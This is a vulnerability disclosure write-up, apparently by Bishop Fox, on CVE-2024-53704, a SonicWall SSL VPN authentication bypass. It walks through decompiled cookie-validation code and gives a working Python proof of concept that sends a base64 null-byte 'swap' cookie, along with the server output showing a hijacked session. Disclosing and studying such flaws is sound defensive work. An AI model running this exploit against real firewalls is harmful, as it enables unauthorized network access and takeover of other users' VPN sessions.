Understand how Threat Led Penetration Testing (TLPT) establishes a foundation for DORA compliance Watch the video›

SonicWall CVE-2024-53704: SSL VPN Session Hijacking

SonicWall CVE-2024-53704 title with vulnerability intelligence tag: SSL VPN Session Hijacking.

Share

TL;DR: Bishop Fox researchers successfully exploited CVE-2024-53704, an authentication bypass in unpatched SonicWall firewalls that allows remote attackers to hijack active SSL VPN sessions and gain unauthorized network access.

While the vulnerability required significant reverse engineering to uncover, the exploit itself is trivial, emphasizing the urgency for organizations to apply SonicWall’s January 2025 patches.

UPDATED: 2/10/2025 TO INCLUDE FULL EXPLOITATION DETAILS.

Summary

Bishop Fox researchers have successfully exploited CVE-2024-53704, an authentication bypass affecting the SSL VPN component of unpatched SonicWall firewalls. According to SonicWall, SonicOS versions 7.1.x (7.1.1-7058 and older), 7.1.2-7019, and 8.0.0-8035 are affected. The researchers confirmed that the attack can be performed remotely, without authentication, and enables hijacking of active SSL VPN client sessions.

An attacker with control of an active SSL VPN session can read the user’s Virtual Office bookmarks, obtain a client configuration profile for NetExtender, open a VPN tunnel, access private networks available to the hijacked account, and log out the session (terminating the user’s connection as well).

In the initial advisory for CVE-2024-53704, SonicWall reported no evidence of exploitation in the wild. Although significant reverse-engineering effort was required to find and exploit the vulnerability, the exploit itself is rather trivial.

Bishop Fox's responsible disclosure policy is to disclose details publicly 90 days from the date of vendor notification. The issue was reported to SonicWall by Daan Keuper, Thijs Alkemade and Khaled Nassar of Computest Security on November 5, 2024. SonicWall released patches on January 7, 2025. After allowing for a complete one-month patch cycle by affected customers, we are releasing the details of the exploit. 


Identifying the Vulnerability

On its own, the initial advisory published by SonicWall on January 7 didn’t provide us with enough detail to hunt for the bug:

An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.

Fortunately, two days later, Trend Micro’s Zero Day Initiative (ZDI) published their own advisory, which increased the CVSS score from 8.2 (High) to 9.8 (Critical), shared the date of the initial vendor notification (November 5, 2024) and added crucial information:

The specific flaw exists within the processing of Base64-encoded session cookies. The issue results from an incorrect implementation of an authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system.

This information was detailed enough to give us a solid lead on finding the bug. We started by leveraging our previous research to decrypt and extract the sonicosv binary from firmware versions 7.1.2-7019 and 7.1.3-7015. We then used BinDiff to generate a patch differential report, which included a large number of changed functions (too many to review manually).

To hone in on the vulnerability, we searched strings within the unpatched binary to find functions relevant to SSL VPN session cookies. The getSslvpnSessionFromCookie function seemed particularly promising, so we traced cross-references to identify the functions where this string was used. We slowly dug through the web of function calls and cross-references, applying labels as we went to help us make sense of the code. Although symbols had been stripped from the binary, log messages were often used to identify the function names, so we could piece together an understanding of what the code was doing. This is what the getSslvpnSessionFromCookie function looked like after naming its function calls:

02acb160    void* getSslvpnSessionFromCookie(char* cookie_string) 
02acb160    { 
02acb160        if (!cookie_string) 
02acb222            return 0;  
02acb171        uint64_t rax = strlen(cookie_string);  
02acb17a        if (rax == 32) 
02acb17a        { 
02acb1af            if (verifyCookieCheckSum(cookie_string, 32)) 
02acb1be                /* tailcall */ 
02acb1be                return maybe_verify_session(cookie_string, 1); 
02acb17a        } 
02acb17a        else if (rax == 44) 
02acb180        { 
02acb185            char* cookie_string_1 = wrap_b64decode(cookie_string);  
02acb190            if (cookie_string_1) 
02acb190            { 
02acb1d0                if (verifyCookieCheckSum(cookie_string_1, 32)) 
02acb1d7                { 
02acb1f8                    void* result = maybe_verify_session(cookie_string_1, 1); 
02acb211                    maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x1fa); 
02acb216                    return result; 
02acb1d7                }  
02acb1e8                maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x201); 
02acb190            } 
02acb180        }  
02acb192        return nullptr; 
02acb160    }

The logic then started to emerge: the getSslvpnSessionFromCookie function takes a cookie string as input, checks its length, and parses it in one of two ways. If it is 32 characters, it verifies a checksum and then tries to associate the cookie with an active session; if it is 44 characters, it first base64-decodes it (to 32 characters) and then performs the same checks as in the first case. This looked very promising, as it aligned with the details in the ZDI advisory.

We checked the starting address of each of these functions against those in BinDiff to identify which ones were changed in the patched version. In this manner, we confirmed that the function we labeled as maybe_verify_session had changed:

Visual representation how which address of each functions were changed in the patched version.

A closer look at the changes revealed updates to the comparison logic that looked like what we would expect from a vulnerability patch:

Graphical representation of the changes in the loop logic.


We then dug into the pseudo-C code interpreted by our decompiler to understand what the function was doing, and again applied an iterative process of labeling function calls and variables until we could get a clearer picture. Let’s break it down step by step:

02acc210    void* maybe_verify_session(char* cookie_string, int32_t session_idx)
02acc210    {
02acc210        if (!cookie_string)
02acc2ee            return 0; 
02acc23b        void* session = **(uint64_t**)(&data_6828180 + (uint64_t)session_idx * 56);

The function starts off by making sure the pointer to the cookie string isn’t null, then it calculates the location on the stack where session data is held (using an index passed in as the second input parameter). If it retrieves session data successfully, it goes into a loop to verify that the cookie string and the session ID match:

02acc2b3            label_2acc2b3:
02acc2b3            return session;

...omitted for brevity...

02acc26e        if (session)
02acc26e        {
02acc270            while (true)
02acc270            {
02acc270                int64_t idx = 0;        
02acc278                while (true)
02acc278                {
02acc278                    char cookie_char = cookie_string[idx];
02acc27e                    if (cookie_char)
02acc27e                    {
02acc280                        char session_id_char = *(uint8_t*)((char*)session + idx + 28); 
02acc288                        if (session_id_char)
02acc288                        {
02acc28c                            if (cookie_char != session_id_char)
02acc28c                                break;    
02acc28e                            idx += 1; 
02acc296                            if (idx != ' ')
02acc296                                continue;
02acc288                        }
02acc27e                    }
02acc2a4                    j_sub_333fec0(rdi);
02acc2a4                    goto label_2acc2b3;
02acc278                } 
02acc2b8                session = *(uint64_t*)((char*)session + 8); 
02acc2c0                if (!session)
02acc2c0                    break;
02acc270            }
02acc26e        } 
02acc2d1        j_sub_333fec0(rdi);
02acc2e0        return 0;

If they do, the function takes a jump that returns the session ID; otherwise, it returns 0. Can you spot the logic flaw? Here it is:

02acc27e                    if (cookie_char)
02acc27e                    {

...omitted for brevity...

02acc27e                    }
02acc2a4                    j_sub_333fec0(rdi);
02acc2a4                    goto label_2acc2b3;  # return session;

There is no else clause after the if statement, so if the loop runs into a null character in the cookie string, it simply skips validation and jumps to returning the session ID. Assuming that it was possible to input null bytes in a base64-encoded cookie, we were confident that we had found the authentication bypass!

Building the Exploit

Next, we needed to find an attack vector. To approach this, we started by searching for functions that called the getSslvpnSessionFromCookie function. We found 21 of them but ran into difficulty tracing them to determine which ones connected to sources with user-controllable input.

Hoping to shortcut the process a bit, we pivoted to dynamic analysis. In a lab environment, we configured a VPN user and confirmed that the user could log in to Virtual Office. We then started poking around to see what API calls the frontend made to the backend. Unfortunately, this led us down the wrong path, as we observed the web-based Virtual Office using JSON web tokens (JWT) for session authorization instead of the 32- or 44-character cookies expected from our reverse engineering.

We then turned to NetExtender (SonicWall’s SSL VPN client) and, after a failed attempt to intercept the authentication traffic between client and server, we discovered nxBender, a third-party Python client that replicates the NetExtender protocol. This turned out to be the break we needed, as analyzing the nxBender code revealed the authentication flow and the corresponding server paths:

  1. Send POST request to /cgi-bin/userLogin with username, password, domain, and login=true in the POST body
  2. Receive server response containing Set-Cookie header with a base64-encoded value for the swap cookie
  3. Send GET request to /cgi-bin/sslvpnclient?launchplatform= with the swap cookie in the request header
  4. Receive server response containing Set-Cookie header with the decoded swap cookie value (the user’s session ID), thereby confirming that the session is valid

After the initial POST request to the login endpoint, the swap cookie was used to authenticate all subsequent actions, so it seemed like the injection point we needed for our auth bypass exploit. We searched for the string /cgi-bin/userLogin within the unpatched sonicosv binary and examined cross-references to identify the nxAuthenticate function as the source for our attack. We found the nxSendAuthResponse function among its calls, which in turn calls the getSslvpnSessionFromCookie function, hence confirming it was a viable attack path.

graphical representation of the auth bypass exploit.

Putting together what we had learned of the attack, the payload seemed simple enough – all we had to do was base64-encode 32 null characters and send it as the swap cookie value in a GET request to /cgi-bin/sslvpnclient?launchplatform=. The following Python script did the trick:

import base64, requests, urllib3, warnings
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)
resp = requests.get(
    "https://192.168.50.189:4433/cgi-bin/sslvpnclient?launchplatform=",
    cookies={"swap": base64.b64encode(b"\x00" * 32).decode()},
    verify=False
)
print(resp.headers)
print(resp.body)

Here are the response headers we received from our test target:

{'Server': 'SonicWALL SSLVPN Web Server', 'Set-Cookie': 'swap=jelislitadivispawravigidefraswee; path=/;', 'Connection': 'close', 'Content-Type': 'text/html; charset=UTF-8'}

The swap cookie was included, indicating we had been given the session ID belonging to an active session. The response body included a connection profile for NetExtender:

<p><html><head><title>SonicWALL -
Virtual Office</title><meta http-equiv='pragma'
content='no-cache'><meta http-equiv='cache-control'
content='no-cache'><meta http-equiv='cache-control'
content='must-revalidate'><meta http-equiv='Content-Type'
content='text/html;charset=UTF-8'><link href='/styleblueblackgrey.css'
rel=stylesheet type='text/css'><script>function neLauncherInit(){</p>
<p>NELaunchX1.userName = "user";</p>
<p>NELaunchX1.domainName = "LocalDomain";</p>
<p>SessionId = QkMO6MFoLUdjNiCNLyakRw==;</p>
<p>Route = 192.168.168.0/255.255.255.0</p>
<p>ipv6Support = no</p>
<p>pppFrameEncoded = 0;</p>
<p>PppPref = async</p>
<p>TunnelAllMode = 0;</p>
<p>ExitAfterDisconnect = 0;</p>
<p>UninstallAfterExit = 0;</p>
<p>NoProfileCreate = 1;</p>
<p>AllowSavePassword = 0;</p>
<p>AllowSaveUser = 1;</p>
<p>AllowSavePasswordInKeychain = 0</p>
<p>AllowSavePasswordInKeystore = 0</p>
<p>ClientIPLower = "192.168.168.169";</p>
<p>ClientIPHigh = "192.168.168.200";</p>
<p>}</script></head></html></p>

With that, we were able to identify the username and domain of the hijacked session, along with private routes the user was able to access through the SSL VPN. We performed additional tests and learned a few important things about the exploit:

  • The session ID returned in the swap cookie is associated with the oldest active SSL VPN session
  • If there are no active SSL VPN sessions, the exploit fails (the server closes the connection with no response)
  • If either the attacker or victim logs out of the session (by sending a GET request to /cgi-bin/userLogout with the swap cookie), the session is terminated on the server and all parties immediately lose access
  • Other actions do not appear to interfere with the victim’s session
  • Patched firewalls handle exploit attempts by dropping the connections without responding, which is consistent with the way all versions handle unauthorized requests

Because of these characteristics, we were unable to devise a test for the vulnerability that did not involve exploiting the target in question, however, we found that exploit attempts do not appear to have any adverse impacts, succeed or fail. (Of course, post-exploitation actions can certainly cause adverse impacts.)

Conclusion

As of February 7, 2025, our scans indicate approximately 4,500 internet-facing SonicWall SSL VPN servers remain unpatched against CVE-2024-53704. If you have not yet upgraded your SonicWall firewalls to the latest available firmware, please follow SonicWall’s advice and upgrade immediately.

Detecting exploitation of this vulnerability is not straightforward because of the characteristics we described above. With a custom logging configuration, a firewall administrator may be able to correlate access logs from multiple source IP addresses to a single SSL VPN session, which may provide evidence of session hijacking if one of the source IPs is associated with other suspicious or malicious behavior.

As always, customers of Bishop Fox Cosmos were notified shortly after the vulnerability was announced.

For more vulnerability intelligence insights, visit Bishop Fox Labs.

Subscribe to our blog and advisories

Be first to learn about latest tools, advisories, and findings.


Jon Williams

About the author, Jon Williams

Senior Security Engineer

As a researcher for the Bishop Fox Capability Development team, Jon spends his time hunting for vulnerabilities and writing exploits for software on our customers' attack surface. He previously served as an organizer for BSides Connecticut for four years and most recently completed the Corelan Advanced Windows Exploit Development course. Jon has presented talks and written articles about his security research on various subjects, including enterprise wireless network attacks, bypassing network access controls, and malware reverse engineering.

More by Jon

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.